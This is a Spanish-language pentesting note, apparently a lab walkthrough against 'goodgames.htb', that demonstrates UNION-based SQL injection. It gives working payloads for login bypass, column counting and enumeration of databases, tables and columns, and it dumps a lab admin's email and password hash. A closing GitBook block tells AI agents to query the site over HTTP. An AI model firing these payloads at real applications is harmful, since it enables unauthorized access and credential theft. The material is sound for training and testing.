> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-sql-injection-sqli/sqli-union-based-pentesting-web.md).

# SQLi basada en UNION

Usando **Burp Suite**, podemos interceptar la solicitud que estamos permitiendo para probar la inyección SQL.

<figure><img src="/files/00e89bedaedb60f2b0e460ab4ef44d3d29ad1a34" alt=""><figcaption></figcaption></figure>

### Inyección SQL básica:

Para eludir la autenticación con una inyección simple, usamos:

```bash
admin ' or 1=1-- -

```

<figure><img src="/files/b1dffda7a6e99b7957b885806bb0ac6879145164" alt=""><figcaption></figcaption></figure>

Este tipo de inyección fuerza la condición a ser siempre verdadera (`1=1`), permitiendo el acceso al panel de administrador al eludir el control de identificación.

<figure><img src="/files/f5b1bc5f83e75df03d2922f8e8296da80db0d244" alt=""><figcaption></figcaption></figure>

### Inyección basada en UNION

Con una inyección **SQL basado en UNION**, intentamos determinar el número de columnas para estructurar las solicitudes de una manera compatible con la base de datos. Ejemplo:

```bash
admin' union select 1,2,3,4-- -

```

El servidor devuelve una respuesta que proporciona un "inicio de sesión exitoso", mostrando que hay 4 columnas.

<figure><img src="/files/f375677cc9f50d05418592335b270d21f7eb3e3a" alt=""><figcaption></figcaption></figure>

#### Listar las bases de datos

Para listar el nombre de la base de datos actual, usamos:

```bash
admin' union select 1,2,3,database()-- -&password=admin

```

<figure><img src="/files/2b0b58125f18e6578f9124f1ac16ba5600808caa" alt=""><figcaption></figcaption></figure>

Luego, para obtener todas las bases de datos disponibles:

{% code overflow="wrap" %}

```sql
admin' union select 1,2,3,group_concat(schema_name) from information_schema.schemata-- -&password=admin

```

{% endcode %}

Resultado: `information_schema`, `main`

<figure><img src="/files/11703444caf21950f43cb97477d6f728adfb745f" alt=""><figcaption></figcaption></figure>

#### Listar las tablas

Después de identificar la base de datos `main`, listamos las tablas de esta base para explorar las estructuras almacenadas:

{% code overflow="wrap" %}

```sql
admin' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema='main'-- -

```

{% endcode %}

Tablas encontradas: `blog`, `blog_comments`, `users`.

<figure><img src="/files/312ec9fad1ad585d6681305197c37a635fe279b9" alt=""><figcaption></figcaption></figure>

Listar las columnas de una tabla Para la tabla `users`, listamos las columnas disponibles:

{% code overflow="wrap" %}

```sql
admin' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_schema='main' and table_name='user' -- -

```

{% endcode %}

Columnas encontradas: `correo electrónico`, `id`, `nombre`, `contraseña`.

<figure><img src="/files/19f183e770f7484f2860db0f314193c961d61e72" alt=""><figcaption></figcaption></figure>

#### Extracción de datos del usuario

Luego extraemos los datos de la tabla `users`:

{% code overflow="wrap" %}

```sql
admin' union select 1,2,3,group_concat(name,':',email,':',password) from main.user -- -

```

{% endcode %}

USUARIO: `Administrador` CORREO: `admin@goodgames.htb` CONTRASEÑA (hash): `2b22337f218b2d82dfc3b6f77e7cb8ec`

<figure><img src="/files/80cb6309bdc45502793ffa9966408f1a4788031b" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-sql-injection-sqli/sqli-union-based-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
